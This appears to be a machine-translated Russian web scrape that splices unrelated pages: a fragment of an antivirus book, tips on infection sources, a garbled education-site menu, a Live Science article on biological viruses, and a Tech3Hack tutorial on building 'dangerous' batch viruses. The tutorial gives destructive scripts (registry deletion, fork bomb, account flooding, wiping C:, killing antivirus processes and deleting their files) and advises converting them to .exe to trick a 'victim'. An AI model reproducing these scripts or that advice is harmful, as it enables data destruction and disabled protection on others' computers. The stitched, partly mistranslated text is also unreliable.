терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе. Глава 1. Вирус и антивирус. 1.2 Описание простейшего вируса. Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
    1. Код вируса (или его часть) внедряется в другие программы. А программами являются, например, загрузочная запись (boot record) и системный загрузчик (master boot record), драйверы, оверлейные файлы и т.п.
    2. Код вируса попадает в память или на внешние накопители, а также выполняется помимо воли пользователей и операторов ЭВМ.
    3. Действия вируса вызывают различные вредные последствия: замедление работы компьютера, порча программ и данных, искажение результатов ввода / вывода, засорение оперативной памяти и внешних носителей и др.
    Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на

    Распространенные источники заражения компьютерными вирусами

    Кажется, ни дня не может пройти, чтобы не услышать о том, что кто-то потерял состояние из-за заражения компьютерным вирусом. Вирусные атаки происходят все чаще во всем мире, и нет сомнений в том, что они представляют собой серьезную проблему. Следует принимать все возможные меры, чтобы обезопасить себя от злонамеренных атак. Взгляните на некоторые из основных источников вирусных атак.

    Загрузка программ

    Программы, содержащие загружаемые файлы, являются наиболее распространенным источником вредоносных программ, таких как бесплатные программы, черви и другие исполняемые файлы.Независимо от того, загружаете ли вы программу для редактирования изображений, музыкальный файл или электронную книгу, важно обеспечить надежность источника мультимедиа. Следует избегать неизвестных, новых или менее популярных источников.

    Пиратское или взломанное программное обеспечение

    Известно ли вам о программном взломе ? Что ж, каждый раз, когда вы открываете взломанное программное обеспечение, ваше антивирусное программное обеспечение может пометить его как вредоносное ПО, поскольку взломы состоят из вредоносных сценариев. Всегда говорите «Нет» взломщикам, поскольку они могут внедрить вредоносный сценарий в ваш компьютер.

    Вложения электронной почты

    Кто угодно может отправить вам вложение электронной почты, независимо от того, знаете вы его или нет. Нажатие на неизвестные ссылки или вложения может нанести вред вашему устройству. Дважды подумайте, прежде чем что-либо щелкнуть, и убедитесь, что тип файла не «.exe».

    Интернет

    Один из самых простых способов заразить ваше устройство вирусом — через Интернет. Обязательно проверьте URL-адрес перед доступом к любому веб-сайту. Для защищенного URL всегда ищите в нем «https».Например, когда вы нажимаете видео, опубликованные на веб-сайтах социальных сетей, они могут потребовать от вас установить определенный тип плагина для просмотра этого видео. Но на самом деле эти плагины могут быть вредоносными программами, которые могут украсть вашу конфиденциальную информацию.

    Загрузочные данные с неизвестных компакт-дисков

    Вредоносное ПО может попасть в ваше устройство через неизвестный компакт-диск. Хорошей практикой для защиты от вредоносного заражения является извлечение компакт-диска, когда ваше устройство вообще не работает.Ваша система может перезагрузить компакт-диск, если его не вынуть перед выключением компьютера.

    Bluetooth

    Bluetooth-передача также может заразить вашу систему, поэтому крайне важно знать, какой тип медиафайла отправляется на ваш компьютер, когда происходит передача. Эффективная защита могла бы разрешить соединение Bluetooth только с известными устройствами и активировать его только при необходимости.

    Неустановленное программное обеспечение

    Часто игнорируемое, непропатченное программное обеспечение также является ведущим источником вирусной инфекции.Дыры в системе безопасности в программном обеспечении используются злоумышленниками и неизвестны производителям программного обеспечения до тех пор, пока злоумышленники не выпустят их в виде атак нулевого дня. Поэтому рекомендуется устанавливать обновления программного обеспечения , как только они будут доступны на вашем компьютере.

    Помимо вышеперечисленных источников, файлообменные сети также могут быть источником компьютерных вирусных атак. Поэтому используйте PC security softwar e, чтобы защитить ваше устройство от злонамеренных попыток.

    Примечание — это сообщение в блоге было переиздано с последними фактами и статистикой.

    .

    Что такое вирусы? Откройте для себя классификацию и свойства вирусов

      • БЕСПЛАТНАЯ ЗАПИСЬ КЛАСС
      • КОНКУРСНЫЕ ЭКЗАМЕНА
        • BNAT
        • Классы
          • Класс 1-3
          • Класс 4-5
          • Класс 6-10
          • Класс 110003 CBSE
            • Книги NCERT
              • Книги NCERT для класса 5
              • Книги NCERT, класс 6
              • Книги NCERT для класса 7
              • Книги NCERT для класса 8
              • Книги NCERT для класса 9
              • Книги NCERT для класса 10
              • NCERT Книги для класса 11
              • NCERT Книги для класса 12
            • NCERT Exemplar
              • NCERT Exemplar Class 8
              • NCERT Exemplar Class 9
              • NCERT Exemplar Class 10
              • NCERT Exemplar Class 11
              • 9plar

              • RS Aggarwal
                • RS Aggarwal Решения класса 12
                • RS Aggarwal Class 11 Solutions
                • RS Aggarwal Решения класса 10
                • Решения RS Aggarwal класса 9
                • Решения RS Aggarwal класса 8
                • Решения RS Aggarwal класса 7
                • Решения RS Aggarwal класса 6
              • RD Sharma
                • RD Sharma Class 6 Решения
                • RD Sharma Class 7 Решения
                • Решения RD Sharma Class 8
                • Решения RD Sharma Class 9
                • Решения RD Sharma Class 10
                • Решения RD Sharma Class 11
                • Решения RD Sharma Class 12
              • PHYSICS
                • Механика
                • Оптика
                • Термодинамика
                • Электромагнетизм
              • ХИМИЯ
                • Органическая химия
                • Неорганическая химия
                • Периодическая таблица
              • MATHS
                • Статистика
                • 9000 Pro Числа
                • Числа
                • 9000 Pro Числа Тр Игонометрические функции
                • Взаимосвязи и функции
                • Последовательности и серии
                • Таблицы умножения
                • Детерминанты и матрицы
                • Прибыль и убытки
                • Полиномиальные уравнения
                • Деление фракций
              • Microology
                  0003000
              • FORMULAS
                • Математические формулы
                • Алгебраные формулы
                • Тригонометрические формулы
                • Геометрические формулы
              • КАЛЬКУЛЯТОРЫ
                • Математические калькуляторы
                • 0003000

                • 000 CALCULATORS
                • 000
                • 000 Калькуляторы по химии 900 Образцы документов для класса 6
                • Образцы документов CBSE для класса 7
                • Образцы документов CBSE для класса 8
                • Образцы документов CBSE для класса 9
                • Образцы документов CBSE для класса 10
                • Образцы документов CBSE для класса 1 1
                • Образцы документов CBSE для класса 12
              • Вопросники предыдущего года CBSE
                • Вопросники предыдущего года CBSE, класс 10
                • Вопросники предыдущего года CBSE, класс 12
              • HC Verma Solutions
                • HC Verma Solutions Класс 11 Физика
                • HC Verma Solutions Класс 12 Физика
              • Решения Лакмира Сингха
                • Решения Лахмира Сингха класса 9
                • Решения Лахмира Сингха класса 10
                • Решения Лакмира Сингха класса 8
              • 9000 Класс

              9000BSE 9000 Примечания3 2 6 Примечания CBSE

            • Примечания CBSE класса 7
            • Примечания

            • Примечания CBSE класса 8
            • Примечания CBSE класса 9
            • Примечания CBSE класса 10
            • Примечания CBSE класса 11
            • Примечания 12 CBSE
          • Примечания к редакции 9000 CBSE 9000 Примечания к редакции класса 9
          • CBSE Примечания к редакции класса 10
          • CBSE Примечания к редакции класса 11
          • Примечания к редакции класса 12 CBSE
        • Дополнительные вопросы CBSE
          • Дополнительные вопросы по математике класса 8 CBSE
          • Дополнительные вопросы по науке 8 класса CBSE
          • Дополнительные вопросы по математике класса 9 CBSE
          • Дополнительные вопросы по математике класса 9 CBSE Вопросы
          • CBSE Class 10 Дополнительные вопросы по математике
          • CBSE Class 10 Science Extra questions
        • CBSE Class
          • Class 3
          • Class 4
          • Class 5
          • Class 6
          • Class 7
          • Class 8 Класс 9
          • Класс 10
          • Класс 11
          • Класс 12
        • Учебные решения
      • Решения NCERT
        • Решения NCERT для класса 11
          • Решения NCERT для класса 11 по физике
          • Решения NCERT для класса 11 Химия
          • Решения NCERT для биологии класса 11
          • Решение NCERT s Для класса 11 по математике
          • NCERT Solutions Class 11 Accountancy
          • NCERT Solutions Class 11 Business Studies
          • NCERT Solutions Class 11 Economics
          • NCERT Solutions Class 11 Statistics
          • NCERT Solutions Class 11 Commerce
        • NCERT Solutions for Class 12
          • Решения NCERT для физики класса 12
          • Решения NCERT для химии класса 12
          • Решения NCERT для биологии класса 12
          • Решения NCERT для математики класса 12
          • Решения NCERT, класс 12, бухгалтерский учет
          • Решения NCERT, класс 12, бизнес-исследования
          • NCERT Solutions Class 12 Economics
          • NCERT Solutions Class 12 Accountancy Part 1
          • NCERT Solutions Class 12 Accountancy Part 2
          • NCERT Solutions Class 12 Micro-Economics
          • NCERT Solutions Class 12 Commerce
          • NCERT Solutions Class 12 Macro-Economics
        • NCERT Solut Ионы Для класса 4
          • Решения NCERT для математики класса 4
          • Решения NCERT для класса 4 EVS
        • Решения NCERT для класса 5
          • Решения NCERT для математики класса 5
          • Решения NCERT для класса 5 EVS
        • Решения NCERT для класса 6
          • Решения NCERT для математики класса 6
          • Решения NCERT для науки класса 6
          • Решения NCERT для класса 6 по социальным наукам
          • Решения NCERT для класса 6 Английский язык
        • Решения NCERT для класса 7
          • Решения NCERT для математики класса 7
          • Решения NCERT для науки класса 7
          • Решения NCERT для социальных наук класса 7
          • Решения NCERT для класса 7 Английский язык
        • Решения NCERT для класса 8
          • Решения NCERT для математики класса 8
          • Решения NCERT для науки 8 класса
          • Решения NCERT для социальных наук 8 класса ce
          • Решения NCERT для класса 8 Английский
        • Решения NCERT для класса 9
          • Решения NCERT для класса 9 по социальным наукам
        • Решения NCERT для математики класса 9
          • Решения NCERT для математики класса 9 Глава 1
          • Решения NCERT для математики класса 9, глава 2
          • Решения NCERT

          • для математики класса 9, глава 3
          • Решения NCERT для математики класса 9, глава 4
          • Решения NCERT для математики класса 9, глава 5
          • Решения NCERT

          • для математики класса 9, глава 6
          • Решения NCERT для математики класса 9, глава 7
          • Решения NCERT

          • для математики класса 9, глава 8
          • Решения NCERT для математики класса 9, глава 9
          • Решения NCERT для математики класса 9, глава 10
          • Решения NCERT

          • для математики класса 9, глава 11
          • Решения

          • NCERT для математики класса 9 Глава 12
          • Решения NCERT

          • для математики класса 9 Глава 13
          • NCER Решения T для математики класса 9 Глава 14
          • Решения NCERT для математики класса 9 Глава 15
        • Решения NCERT для науки класса 9
          • Решения NCERT для науки класса 9 Глава 1
          • Решения NCERT для науки класса 9 Глава 2
          • Решения NCERT для науки класса 9 Глава 3
          • Решения NCERT для науки класса 9 Глава 4
          • Решения NCERT для науки класса 9 Глава 5
          • Решения NCERT для науки класса 9 Глава 6
          • Решения NCERT для науки класса 9 Глава 7
          • Решения NCERT для науки класса 9 Глава 8
          • Решения NCERT для науки класса 9 Глава 9
          • Решения NCERT для науки класса 9 Глава 10
          • Решения NCERT для науки класса 9 Глава 12
          • Решения NCERT для науки класса 9 Глава 11
          • Решения NCERT для науки класса 9 Глава 13
          • Решения NCERT

          • для науки класса 9 Глава 14
          • Решения NCERT для класса 9 по науке Глава 15
        • Решения NCERT для класса 10
          • Решения NCERT для класса 10 по социальным наукам
        • Решения NCERT для математики класса 10
          • Решения NCERT для класса 10 по математике Глава 1
          • Решения NCERT для математики класса 10, глава 2
          • Решения NCERT для математики класса 10, глава 3
          • Решения NCERT для математики класса 10, глава 4
          • Решения NCERT для математики класса 10, глава 5
          • Решения NCERT для математики класса 10, глава 6
          • Решения NCERT для математики класса 10, глава 7
          • Решения NCERT для математики класса 10, глава 8
          • Решения NCERT для математики класса 10, глава 9
          • Решения NCERT для математики класса 10, глава 10
          • Решения NCERT для математики класса 10 Глава 11
          • Решения NCERT для математики класса 10 Глава 12
          • Решения NCERT для математики класса 10 Глава ter 13
          • Решения NCERT для математики класса 10, глава 14
          • Решения NCERT для математики класса 10, глава 15
        • Решения NCERT для науки класса 10
          • Решения NCERT для класса 10, наука, глава 1
          • Решения NCERT для класса 10 Наука, глава 2
          • Решения NCERT для класса 10, глава 3
          • Решения NCERT для класса 10, глава 4
          • Решения NCERT для класса 10, глава 5
          • Решения NCERT для класса 10, глава 6
          • Решения NCERT для класса 10 Наука, глава 7
          • Решения NCERT для класса 10, глава 8
          • Решения NCERT для класса 10, глава 9
          • Решения NCERT для класса 10, глава 10
          • Решения NCERT для класса 10, глава 11
          • Решения NCERT для класса 10 Наука Глава 12
          • Решения NCERT для класса 10 Наука Глава 13
          • NCERT S Решения для класса 10 по науке Глава 14
          • Решения NCERT для класса 10 по науке Глава 15
          • Решения NCERT для класса 10 по науке Глава 16
        • Программа NCERT
        • NCERT
      • Commerce
        • Class 11 Commerce Syllabus
          • Учебный план класса 11
          • Учебный план класса 11
          • Учебный план экономического факультета 11
        • Учебный план по коммерции класса 12
          • Учебный план класса 12
          • Учебный план класса 12
          • Учебный план
          • Класс 12 Образцы документов для коммерции
            • Образцы документов для коммерции класса 11
            • Образцы документов для коммерции класса 12
          • TS Grewal Solutions
            • TS Grewal Solutions Class 12 Accountancy
            • TS Grewal Solutions Class 11 Accountancy
          • Отчет о движении денежных средств 9 0004
          • Что такое предпринимательство
          • Защита прав потребителей
          • Что такое основные средства
          • Что такое баланс
          • Что такое фискальный дефицит
          • Что такое акции
          • Разница между продажами и маркетингом
        • 03

        • ICC
        • Образцы документов ICSE
        • Вопросы ICSE
        • ML Aggarwal Solutions
          • ML Aggarwal Solutions Class 10 Maths
          • ML Aggarwal Solutions Class 9 Maths
          • ML Aggarwal Solutions Class 8 Maths
          • ML Aggarwal Solutions Class 7 Maths Решения Математика класса 6
        • Решения Селины
          • Решения Селины для класса 8
          • Решения Селины для класса 10
          • Решение Селины для класса 9
        • Решения Фрэнка
          • Решения Фрэнка для математики класса 10
          • Франк Решения для математики 9 класса

          9000 4

        • ICSE Class
          • ICSE Class 6
          • ICSE Class 7
          • ICSE Class 8
          • ICSE Class 9
          • ICSE Class 10
          • ISC Class 11
          • ISC Class 12
      • IC
        • 900 Экзамен по IAS
        • Экзамен по государственной службе
        • Программа UPSC
        • Бесплатная подготовка к IAS
        • Текущие события
        • Список статей IAS
        • Мок-тест IAS 2019
          • Мок-тест IAS 2019 1
          • Мок-тест IAS4

          2

        • Комиссия по государственным услугам
          • Экзамен KPSC KAS
          • Экзамен UPPSC PCS
          • Экзамен MPSC
          • Экзамен RPSC RAS ​​
          • TNPSC Group 1
          • APPSC Group 1
          • Экзамен BPSC
          • Экзамен WPSC
          • Экзамен
          • Экзамен GPSC
        • Вопросник UPSC 2019
          • Ответный ключ UPSC 2019
        • 900 10 Коучинг IAS
          • Коучинг IAS Бангалор
          • Коучинг IAS Дели
          • Коучинг IAS Ченнаи
          • Коучинг IAS Хайдарабад
          • Коучинг IAS Мумбаи
      • JEE4
      • 9000 JEE 9000 JEE 9000 Advanced

      • Образец статьи JEE
      • Вопросник JEE
      • Биномиальная теорема
      • Статьи JEE
      • Квадратное уравнение
    • NEET
      • Программа BYJU NEET
      • NEET 2020
      • NEET Eligibility
      • NEET Eligibility
      • NEET Eligibility 2020 Подготовка
      • NEET Syllabus
      • Support
        • Разрешение жалоб
        • Служба поддержки
        • Центр поддержки
    • Государственные советы
      • GSEB
        • GSEB Syllabus
        • GSEB Образец

          003 GSEB Books

      • MSBSHSE
        • MSBSHSE Syllabus
        • MSBSHSE Учебники
        • MSBSHSE Образцы статей
        • MSBSHSE Вопросы
      • AP Board
      • AP Board
      • AP Board
          9000

        • AP 2 Year Syllabus
      • MP Board
        • MP Board Syllabus
        • MP Board Образцы документов
        • MP Board Учебники
      • Assam Board
        • Assam Board Syllabus
        • Assam Board
        • Assam Board
        • Assam Board Документы
      • BSEB
        • Bihar Board Syllabus
        • Bihar Board Учебники
        • Bihar Board Question Papers
        • Bihar Board Model Papers
      • BSE Odisha
        • Odisha Board
        • Odisha Board
          • Odisha Board
          • ПСЕБ 9 0002
          • PSEB Syllabus
          • PSEB Учебники
          • PSEB Вопросы и ответы
        • RBSE
          • Rajasthan Board Syllabus
          • RBSE Учебники
          • RBSE
          • 000 RBSE
          • 000 HPOSE

          • 000 HPOSE
          • 000 HPOSE
          • 000
          • 000 HPOSE

          • 000
          • 000

            000 HPOSE

          • 000 HPOSE
          • 000
          • 000 Контрольные документы

        • JKBOSE
          • JKBOSE Syllabus
          • JKBOSE Образцы документов
          • JKBOSE Образец экзамена
        • TN Board
          • TN Board Syllabus
          • 9000 Papers 9000 TN Board Syllabus

            9000 Книги

        • JAC
          • Программа обучения JAC
          • Учебники JAC
          • Вопросы JAC
        • Telangana Board
          • Telangana Board Syllabus
          • Telangana Board Textbook
          • Telangana Board Textbook
          • Telangana Board Textbook
          • KSEEB
            • KSEEB Syllabus
            • KSEEB Типовой вопросник
          • KBPE
            • KBPE Syllabus
            • Учебники KBPE
            • KBPE

              0

            • 9000 UPMS Board UPMS
            • Документы с вопросами UP Board

    .

    Как создать опасный вирус для блокнота [10+ кодов] — Tech3Hack

    Вы когда-нибудь думали о создании компьютерного вируса самостоятельно? Не беспокойтесь, вот полное руководство, которое расскажет вам, как шаг за шагом создать простой, но опасный вирус для блокнота, с объяснениями! 😎

    Как вы все знаете, вирус — это не что иное, как вредоносная программа, которая проникает в систему без разрешения и влияет на данные и работу операционной системы. Вирусы выполняют нежелательные задачи, такие как репликация самих себя, повреждение файлов пользователей и т. Д., Поэтому, по сути, мы собираемся создать несколько нежелательных сценариев, которые мы можем выполнить, чтобы разрушить или сломать систему.

    Если вы предпочитаете видеоуроки с сообщениями на Tech3Hack, нажмите «Подписаться» ниже:

    Также подпишитесь на мгновенную техническую дозу:

    Подробнее:

    Создать исполняемый файл вируса для блокнота (.exe) с помощью пакетного сценария

    Прежде всего, что такое пакетный сценарий, тем, кто не знает, взгляните ниже:

    «Это просто текстовый файл, содержащий серию команд, которые выполняются автоматически, строка за строкой, когда командный файл запускается.”

    Используя пакетный файл, вы можете создать чрезвычайно опасный вирус, который может удалять файлы Windows, форматировать различные диски [C: \, E:], красть файлы данных и информацию, отключать антивирус, брандмауэр и т. Д.

    ПРИМЕЧАНИЕ: Этот пост предназначен исключительно и в основном для образовательных целей. Я нигде не несу ответственности за любой ущерб, причиненный этим руководством, для получения дополнительной информации прочтите наш отказ от ответственности.

    Напишите опасный вирус в Блокноте / текстовом редакторе

    Готовы ли вы создать свой первый вирус DIY Notepad, давайте приступим к делу,

    Прежде всего, вам, очевидно, нужен ПК с Windows.😉

    Для этого руководства по созданию простого вируса для блокнота вам не нужно быть закоренелым программистом или кем-то в этом роде, но базовые знания блок-схем и циклов очень помогут вам понять, что здесь происходит. Итак, давайте приступим к созданию троянского вируса с помощью блокнота для запуска из командной строки (cmd) в Windows 10, 8 / 8.1, 7 или XP.

    Теперь откройте приложение «Блокнот» и скопируйте (Ctrl + C) и вставьте (Ctrl + V) коды, приведенные ниже, один за другим для разных вирусов в другой файл.

    Скопируйте (Ctrl + C) и вставьте (Ctrl + V) исходный код

    Примечание : Я не несу ответственности за сообщения о повреждениях или ошибках на вашем ПК, делайте это на свой страх и риск.

    Предупреждение: Не пытайтесь использовать это на своем повседневном рабочем компьютере.

    Вы читали мои предыдущие посты, будет здорово посмотреть;

    Исходные коды вируса Блокнота приведены ниже:

    1. Отключить Интернет навсегда

    Этот код навсегда отключит подключение к Интернету.

     эхо @ эхо выкл> c: windowswimn32.bat
    эхо прервано> c: windowswimn32.bat echo
    ipconfig / release_all> c: windowswimn32.bat
    echo end> ​​c: windowswimn32.batreg добавить
    hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun / v WINDOWsAPI / t reg_sz / d c: windowswimn32.bat / freg add
    hkey_current_usersoftwaremicrosoftwindowscurrentversionrun / v CONTROLexit / t reg_sz / d c: windowswimn32.bat / fecho Вас взломали!
    ПАУЗА
    
     

    2. Удалить ключевые файлы реестра

    Это приведет к удалению ключевых файлов реестра, а затем зациклится сообщение

    Это опасный и невосстановимый вирус Блокнота.

     @ECHO ВЫКЛ.
     НАЧАТЬ reg удалить HKCR / .exe
     НАЧАТЬ reg удалить HKCR / .dll
     НАЧАТЬ reg удалить HKCR / *
     :СООБЩЕНИЕ
     ECHO Ваш компьютер разбился. Ваш папа.
     НАЙТИ СООБЩЕНИЕ 

    3. Бесконечные блокноты

    При этом будут появляться бесконечные блокноты, пока компьютер не зависнет и не выйдет из строя

     @ECHO off
     :Топ
     ЗАПУСК% SystemRoot% \ system32 \ notepad.exe
     GOTO top 

    4. Извлечение дисководов компакт-дисков

    При этом дисководы компакт-дисков будут постоянно выдвигаться.

     Установите oWMP = CreateObject (”WMPlayer.OCX.7 ″)
     Установите colCDROMs = oWMP.cdromCollection
     делать
     если colCDROMs.Count> = 1, то
     Для i = 0 в colCDROMs.Count - 1
     colCDROMs.Item (i) .Eject
     следующий
     Для i = 0 в colCDROMs.Count - 1
     colCDROMs.Item (i) .Eject
     следующий
     Конец, если
     wscript.sleep 100
     loop 

    5. Бесконечный ввод

    Это заставит кнопку ввода постоянно нажимать

     Set wshShell = wscript.CreateObject ("WScript.Shell")
     делать
     wscript.sleep 100
     wshshell.sendkeys «~ (ввод)»
     петля 

    6.Application Bomber

    Он начнет многократно открывать различные приложения, что повлияет на производительность системы.

    Вы также можете добавить приложение по вашему выбору в код выше.

     @ эхо выкл.
     :Икс
     начать winword
     запустить mspaint
     запустить блокнот
     начать писать
     запустить cmd
     начать исследователь
     управление запуском
     начать расчет
     goto x 

    7.Folder Flooder

    Это создаст неограниченное количество файлов. папок.

     @ эхо выкл.
    :Икс
    md% random%
    / папка.goto x
     

    8. Flooder учетной записи пользователя

    Это создаст большой номер. учетной записи пользователя на своем ПК и переходит на

     @echo off
    : xnet
    пользователь% random% / добавить
    goto x
     

    9.Process Creator

    Это создаст неограниченное количество фоновых процессов

    % 0 |% 0 

    10.Windows Hacker

    Это удалит весь ваш диск C: \, и его невозможно восстановить

     @Echo off
    Del C: \ *. * | Y 

    10+. Anti Virus Disabler

    Этот большой код отключает любой антивирус, установленный в системе

     @ echo off
    rem
    rem навсегда убить антивирус
    net stop «Центр безопасности»
    брандмауэр netsh установить режим opmode = отключить
    tskill / A ср *
    tskill / Пожар *
    tskill / A анти *
    cls
    tskill / шпион *
    tskill / Булгард
    tskill / A PersFw
    tskill / A KAV *
    tskill / ЗОНАЛЬНАЯ СИГНАЛИЗАЦИЯ
    tskill / A SAFEWEB
    cls
    tskill / шпион *
    tskill / Булгард
    tskill / A PersFw
    tskill / A KAV *
    tskill / ЗОНАЛЬНАЯ СИГНАЛИЗАЦИЯ
    tskill / A SAFEWEB
    cls
    tskill / А ВЫХОД
    tskill / A nv *
    tskill / навигация *
    tskill / A F- *
    tskill / A ESAFE
    tskill / A cle
    cls
    tskill / A BLACKICE
    tskill / A def *
    tskill / A kav
    tskill / Кав *
    tskill / A в среднем *
    tskill / A ясень *
    cls
    tskill / A aswupdsv
    tskill / Эвид *
    tskill / Охранник *
    tskill / А гуар *
    tskill / A gcasDt *
    tskill / MSMP *
    cls
    tskill / A mcafe *
    tskill / A mghtml
    tskill / A msiexec
    tskill / Аванпост
    tskill / A isafe
    tskill / A zap * cls
    tskill / Зауинст
    tskill / A upd *
    tskill / A zlclien *
    tskill / Минилог
    tskill / A cc *
    tskill / A norton *
    cls
    tskill / A norton au *
    tskill / A ccc *
    tskill / НПФМН *
    tskill / Лодж *
    tskill / A nisum *
    tskill / A issvc
    tskill / A tmp *
    cls
    tskill / A tmn *
    tskill / A pcc *
    tskill / A cpd *
    tskill / Поп *
    tskill / Пав *
    tskill / A padmincls
    tskill / панда *
    тскилл / А авщ *
    tskill / A sche *
    tskill / Симан *
    tskill / вирус *
    tskill / Царство * cls
    tskill / развертка *
    tskill / сканирование *
    tskill / A ad- *
    tskill / Сейф *
    tskill / A avas *
    tskill / Норма *
    cls
    tskill / A offg *
    del / Q / F C: \ Program Files \ alwils ~ 1 \ avast4 \ *.*
    del / Q / F C: \ Program Files \ Lavasoft \ Ad-awa ~ 1 \ *. exe
    del / Q / F C: \ Program Files \ kasper ~ 1 \ *. exe
    cls
    del / Q / F C: \ Program Files \ trojan ~ 1 \ *. exe
    del / Q / F C: \ Program Files \ f-prot95 \ *. dll
    del / Q / F C: \ Program Files \ tbav \ *. datcls
    del / Q / F C: \ Program Files \ avpersonal \ *. vdf
    del / Q / F C: \ Program Files \ Norton ~ 1 \ *. cnt
    del / Q / F C: \ Program Files \ Mcafee \ *. *
    cls
    del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ Norton ~ 3 \ *. *
    del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ speedd ~ 1 \ *. *
    del / Q / F C: \ Program Files \ Norton ~ 1 \ Norton ~ 1 \ *.*
    del / Q / F C: \ Program Files \ Norton ~ 1 \ *. *
    cls
    del / Q / F C: \ Program Files \ avgamsr \ *. exe
    del / Q / F C: \ Program Files \ avgamsvr \ *. exe
    del / Q / F C: \ Program Files \ avgemc \ *. exe
    cls
    del / Q / F C: \ Program Files \ avgcc \ *. exe
    del / Q / F C: \ Program Files \ avgupsvc \ *. exe
    дель / Q / F C: \ Program Files \ grisoft
    del / Q / F C: \ Program Files \ nood32krn \ *. exe
    del / Q / F C: \ Program Files \ nood32 \ *. exe
    cls
    del / Q / F C: \ Program Files \ nod32
    del / Q / F C: \ Program Files \ nood32
    del / Q / F C: \ Program Files \ kav \ *. exe
    del / Q / F C: \ Program Files \ kavmm \ *.исполняемый файл
    del / Q / F C: \ Program Files \ kaspersky \ *. *
    cls
    del / Q / F C: \ Program Files \ ewidoctrl \ *. exe
    del / Q / F C: \ Program Files \ Guard \ *. exe
    del / Q / F C: \ Program Files \ ewido \ *. exe
    cls
    del / Q / F C: \ Program Files \ pavprsrv \ *. exe
    del / Q / F C: \ Program Files \ pavprot \ *. exe
    del / Q / F C: \ Program Files \ avengine \ *. exe
    cls
    del / Q / F C: \ Program Files \ apvxdwin \ *. exe
    del / Q / F C: \ Program Files \ webproxy \ *. exe
    дель / Q / F C: \ Program Files \ панда
    программного обеспечения\*.*
    rem
     

    После копирования и вставки любого из вирусов за раз в Блокноте сохраните файл в режиме ВСЕ ФАЙЛЫ с расширением «.bat “(без кавычек, как показано на изображении).

    Сохраните файл в режиме ВСЕ ФАЙЛЫ с расширением «.bat».

    ВЫПОЛНЕНО: Вы успешно создали вирус для Блокнота. Вот и все, теперь вы закончили делать свою работу, теперь вам нужно отправить файл жертве.

    Готово, создание командного файла

    Недостатком вируса, содержащего пакетный файл, является то, что любой может открыть его с помощью блокнота и легко прочитать команды, а также удалить, если он окажется вредоносным. Итак, чтобы преодолеть это ограничение / недостаток, вы можете использовать инструмент под названием «Пакетный преобразователь в исполняемый файл».Он преобразует расширение « .bat » в расширение « .exe ». Следовательно, ваш командный файл будет преобразован в приложение Windows. Это поможет убедить вашу жертву открыть файл.

    Bat2Exe

    Загрузите BatToExe для простого преобразования командных файлов в исполняемые файлы, нажав здесь

    ПРИМЕЧАНИЕ: Это руководство предназначено только для компьютеров под управлением Windows, эти вирусы не работают на Linux или MAC.

    Также читайте:

    Завершение работы

    Итак, друзья надеются, что вам понравился пост о , как создать вирус блокнота с использованием пакетного сценария , я сделал это руководство более информативным, попробуйте создать их вирус самостоятельно, если вы столкнетесь с какой-либо проблемой и вам понадобится помощь, не стесняйтесь комментировать, я всегда здесь для вашей помощи и не забудьте поделиться этим сообщением с друзьями, если вы нашли его полезным и приятным, а также за поддержку меня в будущем в ближайшем будущем.

    Если вы предпочитаете видеоуроки с сообщениями на Tech3Hack, то нажмите «Подписаться» ниже:

    Также, подпишитесь на мгновенную техническую дозу:

    До свидания, и не забудьте подписаться на нашу рассылку, заполнив форму ниже.

    Продолжайте посещать, продолжайте учиться.


    Статьи по теме


    Поделиться — это сексуально, попробуйте:

    Связанные

    .

    Что такое вирусы? | Живая наука

    Вирусы — микроскопические паразиты, обычно намного меньше бактерий. Им не хватает способности развиваться и воспроизводиться вне тела хозяина.

    В большинстве случаев вирусы имеют репутацию причин заражения. Широко распространенные случаи болезней и смертей, несомненно, укрепили такую ​​репутацию. Скорее всего, на ум приходят вспышка Эболы в Западной Африке в 2014 году и пандемия h2N1 / свиного гриппа 2009 года (широко распространенная глобальная вспышка).Хотя такие вирусы, безусловно, являются коварными противниками для ученых и медицинских работников, другие подобные вирусы сыграли важную роль в качестве исследовательских инструментов; углубление понимания основных клеточных процессов, таких как механика синтеза белка и самих вирусов.

    Discovery

    Насколько меньше большинство вирусов по сравнению с бактериями? Немного. При диаметре 220 нанометров вирус кори примерно в 8 раз меньше, чем бактерий E.coli .При длине волны 45 нм вирус гепатита примерно в 40 раз меньше, чем E.coli . Чтобы понять, насколько это мало, Дэвид Р. Весснер, профессор биологии в Дэвидсон-колледже, приводит аналогию в статье 2010 года, опубликованной в журнале Nature Education: вирус полиомиелита диаметром 30 нм примерно в 10 000 раз меньше, чем крупица соли. Такие различия в размерах между вирусами и бактериями давали решающий первый ключ к существованию первых.

    К концу XIX века представление о том, что микроорганизмы, особенно бактерии, могут вызывать заболевания, было хорошо обосновано.Тем не менее, исследователи, изучающие вызывающую беспокойство болезнь табака — болезнь табачной мозаики — были несколько озадачены ее причиной.

    В исследовательской работе 1886 года, озаглавленной «Относительно мозаичной болезни табака», Адольф Майер, немецкий химик и исследователь сельского хозяйства, опубликовал результаты своих обширных экспериментов. В частности, Майер обнаружил, что когда он измельчал инфицированные листья и вводил ядовитый сок в жилки здоровых листьев табака, это приводило к появлению желтоватых пятен и обесцвечиванию, характерных для болезни.Майер правильно предположил, что все, что вызывает болезнь табачной мозаики, было в соке листьев. Однако более конкретные результаты ускользнули от него. Майер был уверен, что все, что вызывает болезнь, имеет бактериальное происхождение, но он не смог выделить возбудителя болезни или идентифицировать его под микроскопом. Он также не мог воссоздать болезнь, вводя в здоровые растения ряд известных бактерий.

